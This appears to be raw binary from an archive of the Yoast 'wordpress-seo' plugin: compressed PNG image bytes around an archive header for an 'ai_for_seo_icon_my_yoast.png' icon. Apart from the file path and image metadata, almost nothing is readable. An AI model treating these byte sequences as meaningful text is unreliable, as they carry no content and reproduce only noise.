�~�<DKZ��Aw[�����C'��\?u����9ԁt-ЏS�m�@�j���hIw�]9toz�z:�5CwC��@�Z��,��R�]'�z�t�+�}������ǧt��(t��3-�"��+v�¸���hjE.%��333��`X�W#�����j�z����B~x�i7/�@G���.�p�H0��%�����|�з�9����LV�r�D��V�Cvw��g@� @��wY)�-W�L�j���[�д��ЕЯ\o��L�:��_4��Q������r�mܽ�>wZ!b}_�~�:��Ԡ�<r6����!�'9r��/�)3��L|�}��m��:t�+g���b")G�:t��K'v��=�e�o6R����L��8r������;Oe�l-��a�����ϼ6�D���@G�N�\k�l��t�/rT�����|��E�ҩ�#@}ڷ�@��.'�2�~J:�<\���#xk���_�����S{�i҂�~S�t%�7y���꿖��3.��q7��@�~���y,��,k�1�1��U5ѫ^"D`!J���{OYR~��	�[��hD��;޽�q#
D��F6��H��o7Z}�Y�gU[&KOɑޫ\���I&|�~FE�qT��p�|�{䗯M`�\u���EWT�yf�v�g��r����oLp�t�ˋ���-�ǯɝ�W���O~��	r*�4*�>��9�`-��u�����wmoT�DE�h�1빢o|��3L�������o�-� /l��es���L�pYEDEwߔy���������9��*����e�j�~��k��<�Ϩ�¨���s�Ūt���yRI��q���t���Qх�'�N��[s8�K͸R�?�0������{�z���]��}G�7?t�b��Q��/������H��10��?T3�E��]E�GE��sڒ
�ñ�b�hs~蚅�V����	�l��5˖ȸA��nݳ��*zXT�a=�5��c���;b�Đ�34<\��8=(*�\`�iY2D�Iš�j<�����w��C*zHT�"�9fE4D��)$�Z��F��Sm5];��q������>fC2D���ٺ֦�ԛ��U��Z�A]�_��g�C�Z�0�dMRO�$1{z�pGl*z(T�}2�X0oC��G�� �q����⒮������� �tC��	��)Xjͣ���5\�È����l1?#���B�_��ΛE�XD��*�7��;���]Q�/��1��oHmk�+)EɄ�h�^'���,&�(�K︤���茑��Ζ\�������{%�Fc�|�����oҌ5y?(,���3
����݆r�$�p��6��M���o1F�W�o�,=�芊>��N]����͵6�E�"@���d`>��]Q��1�bb�Hʚ�9ڐ09χ�_q�N�����{lK��;+r!���1�4��8]5_t<�;+-���_�E<%���}���̭��ui���#��>B�ii��|�Ɲ��B��Қ����
qȦ���`#q'lB�+*:#[�����)�m�rH�*phz�>�[p�.1̒~HVtEE�$��]\[(�&!uW&�Ģ:��k�zz\�O������R�2��T�����RX�'��E��;�����]Q�yk�I�U��<7њ��W����:1ѹ7�o��]Qя��ā�k]�k�Mػ�{j3�_��'�?#K?.(����q�ĭ�̡P�^_*D���'&b�ceF�ѫ�i|�z�Y��ѹN�e��J��?1y4�=z{bFы�[�p�.%����wۉ��j�koə�5�
��%E"��)/F��sw�}�y�͒�yE,D������awB,�)O=7q�^���]Q�ZȒ��~�חr/B6&f�(��C}�wۜ9?cwHJtEE?��n��}Y*D�?�N�'�~�8��jN�9O?*%���_�#w�G$6�u��HA��~�8$�z��|���芊��?r�tʜ�7�����xIO��X���Νѻ��]Qя����
\\��:w|��F��	2�uR�(��w?(#����t��w��w:b�;�>Q���g�܇1��ӻ*#���_�����;R!�WS������o�O����o��C��芊��ϵ�~�ޗ
��`б���T�ń�[���.��!]E�@E���[�[�d|U*D�o^liч�
��+�YW������5��2�u��IG�Ur�V���\ި���}}}��oO,D�"Z�-��Mn�kx��퀊.���gq/<<�ƽ�֕:�3�ϓ*��2���qHW�P��˯�Vx���@�����k�4+�}U�y)����}���2����+b!:���_��4�ČS���a�?*�Q�;nʻ��k��SL�Gz�&����ƻq*�gT�}�:w�o��_���0�z��>��x�i��?*�'^f�x��|�a�<�Sa�d)��mxO���]E������W6���b!:��X�v�f������S�*�_Tt�%�-��2���ݻljc��mC|�����CE@�Нֻ�����P���fJ���'�����/��Q��=9�x�}u�ŵ��L�����5�I��Z�r�K��Utߨ�s����E�L�nC��E�{=&�'�m>�ڰ�F����*����l�-~�Bt�t
�ī�l$�CIV"����~HE���~��T�=�!z(ѓ�&H��9g#�aA��+*�>�_V\+��W�Ct̯�!"MT�ݏ��3��^Q�&��P�yfT�ݏ���fe��5�e���v���%�7*z Tt��UЛ�νVt3HI�6�s�w@E����fgN�6@�Vt��I��b����P��-��<.�m���f�MRD�Ĩ�*��4;+�w+�c�ɠ�_�vch*�.DEJ�v�w��}����G����
*:�.H�8D�ѬE��\E�-��x���/�m�P!w�ƨ�:u''6r��-�]D��i��!*�crb3�w�mX�y�Sr������ȍ����!���	y 2�qOW`w��8n�����?���߅�]��GE����%6���?����P��D���!����Affᑊ}ND�Xl�G:�I2�UFD����փ��.���Q��o�@6�'�C��&q��`�͸���6�?�+kϗ)��I�sT�VE�I�]���J�#�y嶙FS8�ɬ��;*�y�i�!z�����e$hO5���
}����=�"��U4H0�$uJE���~�.<��_�f
i��H���[P�	��r��}��9Ӛ�
Ut���{�D_�&z�<�h�.�-���?*����%���f����ш�]�o�tMEwAEH��-�|����-��J\���Ҭ���/���*�*�1!ѩ/�Yj��]�Ԡ߬���]0*�*�'R�o��B���d�=M���z�S�����.���OJ����A��c01��b�]�=��K���I�N�R!:�]h�n��N
_~����]R�%P���D�J��'���.r!=3��
��sDEwCE���
�/��vC���
zO�\�~ܨ�"��W�D��T���v#M�T����m.�UtT�b�w�Bt��뜂��b�/��C*�*�<~xBj�F"<�g�h�]-r�iʗ���{FE����}���=.^_�ȑ�%:��FEBE�"&�o�Bt�3{�7��0�yLf��w�Ut)T�ТwI��J�
y �
m��߅��TtwTt�����{$�s{�\emF�vyP�-�|.��Q�+3dE�?���
k�
��i%-�\>5*�*�Ѱ��%1�}�(�s7�I��]��!]}>���$�g�?�N�y��^m���5]\U%O���%���ރN4�.~�A_�7�;`TtAT�2��ȅ����N��Lꅸ$��ĝ��9��I�x���aAoӈjL��E����b�.�袨�'ED��&:������{�,ĥ53���'U��Mb^���Q�EQ��$���I���kf���%��f3_mlߕ���q�+�Tt_�耋�C~L>X�8Q>/�Y�T@���I<��
��MҪ6	��7*�0*�9�|m]�ˊ�'�^5ұ)]6[t�gn\���Ҩ����qb��Is|��H�jT�4�E��M8""����q�k���B�<��ޣ2�'�L��}��-�]Q���9�R���(�ޘ���6�f�,���&���c���o�5wyX�p���a���M\���[q�+*���i\o9���R�Xko��%2\Ӂ�I��^[��芊J��稠˳dmνt����\����f�O�)���T������O�S~�6�;c�8�UtEE�\�uH�\�oB��}k�u)n��*M���<��z �}��!���U>��-�yo��/b*"��v�=�[�]PtEEǧ��5�ϥ��%}�)��tK*)!���eqA&���Ϲ&�+ݭ�P�%�1y�|a!�ŔGuX���rg�".	���蠤?�����:�\2Z%�~k
iN��C�MۉZMS�I�6gUd蒢+*:^�[�i�_������앙|�A�EQ;��FkȻ��n!�eEWTt�і~E_��,YpL���h0w-䴑]Q��%��^Eߢ�������+3Ǝ���qᲰ芊���\�)�z��E�ʌ�gq��W�#-����y���7)4/��ι���8�誅�2�EWT��=)ѻ��?�5�Xt)G���ߴ��b�+*:f�}�}w��=�<[�jz���r>Y:�W-捑]Q�1��;�x]�s<���բ�Z3�$�(�g��@�+*:h�x]�s�g�?,<4��]^tEE�k��{����Mw���	#�������D?o�����)�c�+*�����q�\E���N�c������g��������D����li�Mt�q�]Q������=�i^�,Y��	(����c���E_�9������ x�s�rH��nY�M�~g�v	��\�c�r���G��芊>�ߙ����˝�M�=<{l߳p˄�-民]Qѧq�lI_y�/h�����&w��by���7�g�'�v��Da�u��4m���l���yF�b��f�3�A�l�S���Ύ���o�WA�2{����qiE�E�Н�?��@��?Ė��q.��|: t�9���2�I(EҒ.�{��Bm�7�o�=|�O�Y�s�.���s&��g�)�QM�s�.���wL����_ħIFr�E;G��-��9}��"���\�`+!tA��e��t��Sq�@w+!t�A�tW_�6u������nKaN_�6��?�q��\0t@���s�l���?œT���8�w.: t��]��&���R��1�q�zFȿ�Bw���
��_E�ӵV�p�z��: t����,��P
���R�����;��,��L<]y�SK�Wc��|: tg�#�«3\B&INSi�D$T>r��\6t@���F��M.#
G���T2���=#���;�{F���B�����DA	��`TX�a/u�Q@B�n��;E�`��9:6*�d�-�Ѓ�[�����!ty]�сQ�}��u�!ty]���`������
���s�«9���J^�]��%��Kjh!�8t@����
��w4y: t	7H]>s�.�#u����.���Ew���4�.��ܨ��~�-D�����k�������[��_ t��F��M�U�0����!tQg7�
�f�\���"��B/o��{��lf�

��d!t
zyg���F��B�+���<BBW�W��{����\�`co�@�������=���[��K�
��V��� t��}��偎�w
�\.�e�h(6��7��E!tgww7����b��J���|�ͷ�}?B�����BG��QB���{�B��ٹÈa��٠ܿ�����8h�*�P�w���v�Brt����N@7�&�	��;�:�|�@'����t�����n�Y��сN@O��9��сN@���K�]����@7}?t:Ct��S�0������$;�$��!:�	�,�:�!z�ݳ�X
i�	�Ёެ�%���{�@�U�#K!
�+�ΣD��(l���UؕG�@�Vغ�����wz��
9yv����V���)j�!����"�/��RHcmI�[���,�O˨�>��)n�����T\,}B�.���}��;�5�W(n�!��+�;C�W�Y��{8���~�7��G��&�W�
��yw�Gag9��
��*h�������(��@ϞU��C�t[Wa���
��[Ez�`)d��c+*RO$}C�ʛe=��Y��Gg�z�.�Q=���!�S	BG�{���:�`�7p������:��{mڀ
}d	�`��K��PJ�3
�-�}N?����"��yz�O�H�n�}_�������8����w��9B�/��sBw�B�c�̀���H�ax�hN�o;�J���`d@�����3�\���
}o�ÔdB��й�CǩaB��6,WVA� �4�-(�ʤ�#z�Kf�Dj弓	����eJ�i���ީ��,Ԛ�;���;�R��Z��H��BZ[D�L_�Xk�T�Nț�@萶��:-e�V$�f�S�6��3��֜�i�J"+���jʲ;}�ܴL�)Q+kF�)�� ��%��qK�l��s�BZ�2���Z\�e,kdj�}Ǚ�:�B�l��ܻx��>m}n����K�����r�b��J�Ԕ��л8E����>�{ً�W:۩I:��]���yc��-y�Ї ����ЧjI#Rk��{g���BǝG�qY���_��Ck!��7cx�l|�ݡ��`���^=×j���?���q��d���Zs�
��|8:N�BO��S�R�Ї�惁�q,~�Ǐo����Cf���g�������=�5 t܊o���\��;t���#t�C����O-�z��8:���L�Qj�����
���
BO�#�
g��t:��Лs2�Y~w�~H��N6	}��Rg��t:ne�Х��3��-����zo)���_�B��0�D�M7]F�C��q�i�2�Z)��~ym����&�֢�x�e��+�kCz���텞�3��� t��B_���
=�f:��n�f��_K�=��A�Ȼ����L$�	}xd@�؞�x�t�B��R���ڀб5=�1��������_�Bg�a����\���[���F<�s�l�ԙGZ��7��r t:w���+Yi#�%W��Pz:�[��y�e!��C��n"t:����e�й$�K"��]�N�VzV�J�B�sz9�E(}�:�˶�Ѭ���BGO����x�s��OÂ��T�d��x�3=�3Bǻ����@�8H
Gf����kW���G7���]��Z�w'&aFarr�B��"��D.�z�8�gX�v�ۘ7��:B���Ѕ�Ѕ.t�.t�#t��]�]�B:BG��m6�weBg�s@�ީ�й�B�z�S�!t�i�й�BgJ;��#�:��C�������B�g�۳���Y@�,Oq{��=B�g�۳���Y@�, t{��#:BǞ�cς��Y@�, tOq t{�=BǞ�cςбgA�, t{�#:ݞ��)f�h���=�IEND�B`�wordpress-seo/images/academy/ai_for_seo_icon_my_yoast.png000064400000037643147510273100020014 0ustar00�PNG


IHDR���C�tEXtSoftwareAdobe ImageReadyq�e<?EIDATx���p��}/z��HX��#��(�(����s
N&�!��N��f��C�d�8�$v�N��&1Mә���vr��N�;��i�:8=��1����?��A65�0��$�@H+v%�}A-��G�ww��~>���}���J|߇��<�����srh(1�T`ԨPF��#���Q`ԸL	����) �@���S'�� Ҏ�S@p��;�W@p�����C'�� �z-Kw���CC�d���X�>@p���5��q��d4��;D���P���u����quw�4�@�;�}2��Q7�:�H� �@��9���Qg#H@p��K�N� �@�Y�
�P���;D?����;D]��v@p��s`* �@	���C'�� ����;D�ɡ�#6�w�8�@�;��^�R�"��Аw��T(�Uuƫ:�j[ڇ����7��g�(N�nw�r��
?�1q� �_�A|?|���M��r�Q�(3��T P���ɯ��y����ݳ�|Q�N�ܿ[�������/���O큆�;��ԾӮz��T@p(G���2o���`��кɯ�R��'������e�k{]v/��@b ���PF���cj?�����v@p(/U��YOok��mȂ������zjs�Q;j��o�j�%S'���Elw��M���a펪N���>@p(/
k�-�f��$Yp`*P���
N���j[F�
Ή���g��:O���O�T�<�qSlw�%���kY* �Zv�ӭy�T@p ��[p�Wj�'��F�L��O(�_�r�h7ퟸi_l���Ώ�oS���ƺ�7M?|ӌd}L� G'����TrZ��k��+*���w(�����߾��A��min���ҳ`ʾ{�\7E� kR{���hl鞳�sR[��;0���ižu�-�J�@p�B"{�gd�e�ᛦ���ͩ�X���K5E]�e��W�H-ya��͝#�'�����un]1M|���q�/v�7ܿ6���'nڿ���l�$��+B�S'̸G\�ſ��o����Vӝ\�\�'ޭ�P=�!/����uY��N��v�BgȈ[�ž۟�Y�He����cw�Ŷ6�J���ÃltE��NI�ѱ��c��}���i���i��2t�O��{`R[<H�]
�mM��r$˞ە�D�������w_��|�VAp���x��P&˃�~�c����X����#���9/O5x�
?��/�R�o�ᝑ��D
�:½��v�;�H֏��i�N$�秽��c�3��ԅ������W��m�ڷ�>m�-W����������O�ﭫTR�!WA�hX�#�4��
[DA��Y0���=�1;�7��'S������~�A�}���C�ڟ�ʮYOo>��|pu�d�#�r�0Ɯ�g��y�|mq��r~�LcK����:Әq�/?lk���ަ�c��ǧ\�	>���W�=0\��u^�\��WU�wHK�Q/9`���>�ڢG;L��O�V=��S�x��b2��\�s\ԩM�^��39�i�.���u���ٿmh=v~;u�x7��s���qO����uNk�5?���Tw�I������Ԫ��o���Тv>��lX��샽�v�s|�ӛ/����Y��s.	.�Wv�:���kX��s��N��⒅9[FJ��-������9_)w7��PaAp��������ױ�)�q�ݳ0�RGx��>�Eí����s����'����i��,uR[�/��s��a�1�{9|���9�ˤ��&�Ap��Lܴ/����-�1��?O+.6��!�0���H����l�^y<�u�&D��(�c�gw�!9�3�����;�*��]���:��m8�}2DD�M2F��%�{�k��%�j[9��)��ޒ�|�ᛦp�b�-���cG!��wdRe"5���"�����<�U&R�u�]Q�N��WvMܴ�b�U����7�h[�;N��7�F�|�3rC�Ń{^g�͸GΩ��O��$H����=Y?>�	y�`����Iu�&�	@p�(
�Z�OU;<5�	�����S��Y�
�
���l�.��А>�2�q���P����铉�Mw�`p��/^�?��p�^���>Q����\��Y�Y��F��+���N��hp���ek�w�������a;��V[8��}�u�y�j}�� �C�u�O��bc�V�S[8��>gg���L�ǰ�-�JmAp���ga��=��
�L��'��C�	��.�N�m�\=0�F� �Cnz���y��.�+�YB6�uM���}���Tw��/
e-i*6vǚe�	�O���^P���F[��٦�Ap��ltE��=H� ��b�S'Iu(!�&�U�۲T�!Dñ��Mӳ{x�~|��F1��%g`\ŋߞ�cv�v��M1Ap��5�>�Q�KK�V�{�R;��H��^��=������m�x�Le�th&�l)�cYӌ�ߞ���">8�;�7����F�L�P����g�'�����;�f���	AjﭫT@�!�R��ܿ(�-]��#�m�c+z���\pI�dJ��u�m��Cͯ���?�=�[\�s�UI�L}��R��(�}m�o?�w�D^�ߴ!�L\�n>9c��9�fqx��c�ݧyu���s��w?^}E�~	
��V=��w��S��BC�EH�]��@�'gx-"�h?��v|����O�;�
܁b�����}�ܭ2VSQ5����>�]vw�|R�@�7q�H:�?e��#Bo��6E���(��H�IZp��T2����; ��!��N��']=����˽(qd�.E���(��>��t��4�Y=�ދ��V�!u���(���I�O沊��DG��-K���(�Ԟ��$Փ��D���ew@p�(��ɤOZ�Lt�{��:����KjO�I�Х��qՓ��0�.��;PF�=��'�G�e��; ���S�DWg�w�,5:,K����EE|Pj�Iw{e�&�y�D�>�ܡ\\�����Q{V�������=�v���aYjij{�/^��s��E{�P�*����`v/��w���=JL���e�횻�S@pٽ$�����]����q�3Q`Y*R;� �����i�?���%",KEj�F���Yv)�w��g�F�>���U(�P�g���:ޛ8z$��^Y���Qy�,K%O���o�W1�Av���fm�'Z�Z�/R{F����Z�@p�=Z�R'����è�rAF煳,�w���(����כּ=:,KEj�d����=�dJ��k�" ����{�d��]���r�.E�e�H� ���^^�=�Y[��%��!�K� ���^�=G2���#²T�v�Av/��ѬmEո�X�7LX����;��e��S�DWǞ�n/�+.�v�w��K[O��O�LDX����;��e��3:t)P��'�ۑ�Ap�(�g�$m�=:W\��"����Qv?�wWF���^�W\H�R;� ��pvO�I%�߿2VSQ5�#
�� ����Qv?fYji
.�,KEj�(���.�c��DF��v�v܁���Yt�듉��6Bj��Apٽ��{{�TO4���nY*R;�@�d�,�_����"��u�)R;�@�d�L���'�_Vq�7@ѥ����#���;Pٽ��3�] ��)�+.�v�w��K8�k�8�铉�E�" ����EvϢ�B�LtR{��U��.����jv�t�1�d"���.�R���;P�=�] �蓉�,�BjW4܁R��Y�9~�T}2Q��%�]j�(��Ş$�d"����R���;P�=����U\^=Ip/�D��R�v�w�\��] KW��v�]j�(��݉��d�`(uB���.����Kv�bH}2!�K�R;�@�dw�@
�H���@v�b�1�d�a ���Aj�ڡU(�Jv~�������7ܿv���qt\�O&�] ��Dı�_;"k|w����������;��W��$�O&"��q"��n>��wCJj���UJ,���3�?�M�꓉��z���v܁Q��S�DWg���'���a�v�v܁���=�M�듉���Gjw��{��蓉�@"����Kv��:�E��>���m�'���;P�=��R�蓉����,�Bjw��{v�@��'��~�S��Ap�"��e�h�O&
�^���D��`�d�x�'*�Ӽ�_s0�$�J&�\��O&�v�v܁�7�e�_[��OFp'��>���Ϫ��2��e�}�>�(��7u܁ѯ��@�@��'��Ow�<�_G����܁��&�����=�g��%�@�9�Uw��S}2��U\���e�v�(��O��R�D�� �e ��h+S�Nj܁rѣO�,_>w���wu���,��>�b��f�� ����C�L	;f�@p�A.���DA�!E܁�/��h}2Eg�v�(��c��Tt�o܁rI�Y��V�j*�Ʃaپ@p�E.��O����%��@Y����^=I�{�پ@p�B.��d�p�e�v���R'rY�j�����܁��Kj\�ܥb�};����\ڣ+��U�j԰��]�o܁ѯ��3��h}2�m� �堯#�>A���w@�4}2E'��zJ��yY�+?���e�v�2�j�~db[|R[��~�iBWCu[ӄ�q�@)ľ�܋���OC��W6�t_�oO��U�n�ۺbZo]�����Q���\Vq����e�v�{`�s���|d����͝�m�-Wo�}��w܁����\^m��b�};�kl�^��]A"��Qן��?�˯��j�VC�ũP�R�D��\FW[��EM흶o'\s7��静��a5��U��{N+< �!8�wW�#�q/����S���Zs!H��;�@ȆR'r첨�TY��*Y�W�F��&H�K^ؓ�8��=�9{@p. H�9vY�O��r��α짭a��`�e?ݥ�"�S����h���ם�ۭ-��E�t��3���l߾�7l���|(��Ɩ��cmM�w '���������q�[�9�3�}vq�׃jb��7޿s�� �����Q{��d"�W0R����㎛o�9������;�_��6l���r����_�W
� ���}�}������7L����Z~��ɗ��	����o���/�����mQ�)��Θ1�[�VكF�g�旞|�o߾��G�>�l���[xj�E�E��S5��ПdcKwM���� ��T���O�]�{��7��c�{����XM	}�A��׿��\	����'���ӆ�>05H�<���ի��t��	�O>Y��}ՄO��pC��{��[l�)�ũP�r<-5PQ5��R��Uwl�ٳ9��@0B0N0Zq��Dϑ�N�k֬ٶm[.�}��9� ��ݻ��;��MYSwS�V�!4��^����]�?x��3��u=�$�cQ~�wYTO*��djb�O��7.����}�>����XS�}�m%��3cƌ�k�677���X[��K/}��_.�Ι�~�w �o��`���-�����ߓ�)��Y�sݔ~	��!L֖Jp��8��|���Y���O���}���n5�
��%�믽��מ�h�K~�ʕ���C�4��q�ph����x��E��C��S�9	���u������W��d�e���-�� ����2�}X0r0~�Y
�u��(K�g�߶m[�s��;�� ��p��t"�9�=x��W�u
I��%��l8�_p���>��.��R���;��6�,�ܠ@p�Q+��{ѽ�������~�cGSA���E�y��|/ߩ��k�����Ă{�����d��k��s����jE�
�">��&��7���Ͽ=jj���~�uȜ/�\�g,��*��(p�nnn~�'�슈�+,��
rN��>q�Q���/��<��p��;B�C&M�g,��}�J�
�f͚���^���q�ɩ�p����k{}�s_H�ƖtM"�,�&V��{�X�O|ޟ�j}^7����R�:}�RQ>�3�<�aÆQ�Ado]e���2q��Ԥ���uw/����;?�>�{�tY"��w��Ղ����|����%7�^��>�t��<�f͚�j��޻C����D�k�ޒ���*=��20��m��1�2VSQ5.�/����F�E����[_Z
�3f���l�}�[߲J5M�*�[�[w�-W�-�Ō;�$�8�}��[�>W�g����Tue��d����<���gyJ�o�YHE�n������'���,[WLk��]�H�5`o]�6�w(����ξ�\�f��}c�|�)S����Z~[�C��{�m���_�җ��sv��ۧ-y!�����;[U!DZe�F�0!�Ȩ��2V٧7�qf!�����9��<���C��ڣЦ����<��m���֒C��Ow(��θ"�#�۷/���Q�L���N�л����s	�7}�4;���-��x�L��
����>1��ܸ�Q�LJ�O��{�_��7��7}�*^���\&˃ԮIw���E{ej�T��L�R'J���w�2�d��o�}Z\o��ybq*����Z����LJn����=��eŴ��߸�ù�Ӻh<�sM�ݕw��"~`jt�d�<��-�mp�{���[W���٧��l�����z��5Mس���W�� �C��\7���]Έ����X*����C.�.]�a�u�:�o�����'��WO�ǟW�> �C�%��+�G?,��E���ѭ���r�p�!|�o���K��䋞���]�Z5L�Qo{�" ��E�bc�잏c�v��-�x�#N�^���X⽩dBr�Ol	#i�s^�c�,�2Bj��O���#�25�s��Q�|J�O�����
>����p��w�’�Cķo���ϧD����ۣ�d���� �����bc��cySp1PrE����glmyw�=���Ρԉ�މNv��U@���%��>���k{=���b�']U"������Q;w�av�&V��1�a�����t�w�����G��Fh�����b��_}���c����;r$�cͲ'��2V�S�X�/��y����m��N��y�׎C���,ZYN�����WM�\_S]=gVcC����&���C����_�b�����ӂt~�ر�/�/�g�6}����{���K~��;���_����Ԗ�o�R{�>V�_{	�'�s�����-��`O[Gg���y̩	�s�jN�̆�sfͼq�uA���(�>�1�7r	y�[ZZ�?�e%��+f�ҥ�	��o��ܡܴ����yk�g��z�}�,,Ź�aW�H�̰?��E�fX���1c~֘%�'3�����b]3���P�z����/4���҉�=���W��qY�啱/}�
�N�wu��;d)d��&n�?qӾ�w��O��ƺ �w,�]r��������G���n@p�� �����xUgߙ�*�󍫭�rE_G�" �C����]u�3�Ź2L&G��gspQ%��(����@	m9��Pw ]W�)�T21�Uw ��6�,���@,K-��v�� �i�dQ�{SɄ: ��2�^�d܁��Xl	��d�F�E��9�O�Ȁ� ��ϲTw ��6�,���C����kܕ�P�b��Ρ�	u@p�U=Q�{1��a�R܁L�q/Np�'����2VSQ5N
��� ���2�^}�]@p2a��J�p��T����՚q/4��dg���e���St5To�k�R��D���w�ɐ���1u��U�����'��d�����'��d��j\e�F
�� �q�R��@p2�u�P`�d܁�UO�J
���M܁T�j.��\
)�L$�Qw ��)<��d�L�)�^*����@.ښ&l����z���)N ����K�J&��@.4Mز"��ḣ�;�
�2�� �@��;���d
M��;�1+SL��;��O���+c5�PH�d܁�ip/<}2�@�4��>w f�L��;����q�M
I��;�1���O�Ȇ��'��dÌ{��@p2V����ru(}2�@6�Z`�d܁l���J��;�Up7�^@�d܁,S��B�'��d�k����� �ٰ2���� �Y�2���� �٨�R�LA� wJ�����Ͽ�� W\�sِb�>w(�����r
�S��K*fa� Ze�K��;@��@p(�d�J�>w���'��PG�(�;@�����mC�V�"0A��g��S��GƜtS~�wRw�>�Qޯ
���j�d���>B�U |�d�J�>w�R�d�"N��;@	p��;@	�'@>�(;�>��Uw�i�||����W~��/��C�V� ��课��;?ۙ�N�\��{���3����u�0S���9�:���N�PF���/���Ϙ�8�|/�O�O� '5��o�ŋ�m�ݗ}fq�]��;@.�46�|�N�g$�sD��;@~-������`�vw�B��Fp@p(���w_r��;?[֓���T2���9	R����|ɻe=���~@��B�̋/]�>w~��᳙2�O� ;w�����%��?�j�#��	}2����Ov�ܸ`��Uwd4��v�B	����坭-��|�}��/����m��q
�p��D�q�����M�m|R�G���Ut}�z�z�*
w�����?���u��Ī������o�3`*���*,�����q݇s7w^,�7�nK^���4a�i���i�*���-�Oc{�9�3�����P�[��û�b��R�9����wozg��w������t�z��>�%��9���� |)��_~�i
ol��yv;
 �|������,�{��׿:��C�fܑ�W=�nC�\.���pa?���v��sɻ�Ī��_�^��]��2�{��Ap�w���t�6rv�?l�����=�� ��w���v�ޓf�̜ƙ��)_
�Ǯ�`X��t'o�凪
�;���0s�����9�:����ׅ���ˀ�������������>�٤�������UǙ��9�	(wm�Av��Lgg�/~�O�������h��UO�{������͇6�5S��|f�N����vv��~�l��@�W��ۙ�N/x��N���^w��z�ŗ~��_�y��}f>;�S�����F������؜~v��g�n͚5�����|�F�?�����df�#�<��k����*�H������$��t�ҽ{��q������^[[�v��'�x��;�;@��{�ضm��w�]WC�"�����>cƌ�k׾��k�jY뫫R�2��p�7��#��w�3����	��sr*�H��W����We���^��G?�ѓO>��ӣ�D4"Ϟ0�i�=v��c�¿f���*�;@6~���s��?��Wkb������Gy�[���Nt�{ӄ���'-�/����v.����U��^�կ���?9�љ�c��ѣG�y���f�d��j��GO�{���w���ܽ�����V=��ի��|����a�]3�p���z�*w������o?���������3�=zt�ڵ<����zk�-�m�-W�*�!�k?��O^��6l�q�;�c8�o۶m͚5K�.U^Jі�Bi�W��KM��J
��K�ܼ���mݫYh�������<��#�N�o?���e������g���<��^z�%/�(���US�3
Ϥ2�Z�����sI�/~{��d`d�kҕJ&Τ���O>$�'�x"��R�O;�O��6��������ӧg���~�h�CV�\$x�y5���tWcKwﭫ����H� �������x�ҥA|�ӎ1gfг{�k�����}Nv��=�׿z��_~X�H�����o��2 �CɈ�i�;�����?�7�%�c=��iF�*]����|Æ
�_��իy䑬Cv���֮]���k���Q�n����W�^2��^P�����
���E6��]
kw�	������:����q��P��ލ���ݢ߃�
��Otz�/���{j�Im�g����P�[Wu�iB��m��2�E��k�x��~֝_������-
B��^סt��iQ��3�)� �7u���c�+�n�m����ږ����U��K�d�b��k�Y�r�}]ܡ��x��k{=��V�OM�����ق�d� ��ٟ����0�R����%)��Ap�qٽ�=G�R'��k֬	��>��g�}6�SW��a�}2�;���V�P�����L;m��Af����/_y��_��O>Y�0\'<��^A�Q��T(�yk~�wo|p��[�?�BUK%��1|*��{5.]���onnn>�i;�	@p�1��]U�}!X�����\L*�n�����ӆ;|l�3�(��P/9`Ӈ�X�p��@p2�{k������-�����?ۙ��F���M�N�b�@�b��Ýn?3쬧��bc3z�{q�H�.v`ja�=knsI�Ȼ�mӰvG����7f��$-C��q��U
$��0%)q�" �C�miW�R��t;�;@�{����PP�ެL��@��n@p�>�� �C��Y0EJK*�����;����:E(-6� R�ҳ`J'%�9r�I%��9���F��P��4=[w�d��폮��Q�';ƴj�3�D�V(����Bs�=6/��爍 �3�P��>��]U�}a
��߱|���d����Ɇ�c���uU�u�^/ܡ��bc?�Ѽ5������Nٚ��Ъ�ލ���z��-+�y� wZe���4=������:[L��+�n���e-�˛r$!�3�@i��"x��%��Y��֤�U��~2�i�]L����3� 2Y?������73��G�4}�s_hX�#�]2�o Ӷr^*6V�vw���>�2q�����ξC��.�?�)Wa�@p.J4�3�D�]e>b#Hw�`����*�
��Ok���Qx&��x����W�͌;�G̸ �H� ��L��;@	0���u6�@p(���J�ww�`��@j� g�d�J�ww���$�;@	H�'��y���� �D�ww�ȧ��#C����iI����g#Hw��J�����;@��wRw��K�t+�;@䃻���7�M%���i6�@p(��� �����u���J��vw�`e*�;@�
�N�{�� ��)�;@�%z��(S-,���Q�k�)���ϽwUy~���T2�=@����W�\|�:����d�}�mK�w@v������^
�݌;R; ��{�S{ϑ��	/:R; ��{�ipGjw@v/�]�^k�v@pd�HJ���z������#ͲT�v@pd�R�6�Djw@v�>+S����xj���=�ՄPT(p�����s/���(�LhpGj9�'R׿z����p���;�wo���m�\=0N����G���=\�-��~�k��~vĿ���|h���ۚ&x�!;��T�����T"��c��g=�e�;llE���T"�J&B�H�>T��Y���u�n'�N���pAs7w��rѷAWC��w��b؊�+��9=�_���\������i[VL�l~>(0��
Sҿsm��D�w�?���Q�����+hp�NT�T�+��a�n�o�j��zN�E��m���/|�s�����~�/?�=�����B��J��c�}�@yZ�ž\R��`�E�>TLȔwȯ���Wuƫ:?�z�u�ƺ�S��1%*��L�P�PcKw�2���͞��w���V|�a�ɯ�:;��Q��>�A��;�5u,�_ƥ��t;e�2�Z���\�ܮg~x�‚��D�Ͽd�K�3H�m����(�X�t%�X\(C׿z��;�hs7zo�Uji���^
��^7�-���
��
��Dj?9tR(Cs6���ҍ:�Ap�"��3m0�
��mTƈ�'Cyjl�w�}X0椶~�����c��sd�+�#�Nq�:�wL(CS[�Ο��5 ����g�sL���i�zF�] )[��7��;T����9ߵ���Q�<�kY*e�S.o3�~+������Ͽ��09'��̸C�*)E�
d���'�'��Z�ir7Zt� �Cik����c؉���m��ܡt�vw_�l��M~e��F�`�Db ��޺*E�
����<��5��i�����	y���;BUG�\��
Ȕ>�\WCu�F>��K}*�r�c^|�K�Of���ك���OIu
�A�U�Y]����;~8��P�����v��|��w���f���_=���w/�S^��Q�� �/L�n�O�]��U����p��jN��_�C�AWCuo]UMw2�a�7��;@�����a}��7O'�\W��i�6��oW��x��9޻eۺbڲ�Z�s�-Sw(�T�XE���!8���{K��u��7cC�GA�����+=/�/��+nr��+n�N3������WLj�Ӯ��`L��
$�X7q�<
��_2?J�
kw\r�E����;�cYS*V2<a��y}��7o>�֙���'�Y��ƌ�I��_��w%�Qf����m�50�"MIAp������d}�$��YOoN�تξYOmi���}p���7E��b�j����ơ���3u�޹�x�t�-#����K�S	~k����}_��ֲ�k���z��M�4�l�k��vܡ�z�����L���D�k{=�s�5�;�7��В(i�������f��5�ޯ�7&�]C���=1�ٟv-��?�0�}<�Ǔ_>o	~웃�*����߼y]���~n�����{��5�@>����*@ֆ�~��3��Ò>�Q�[e��m֛�E����A
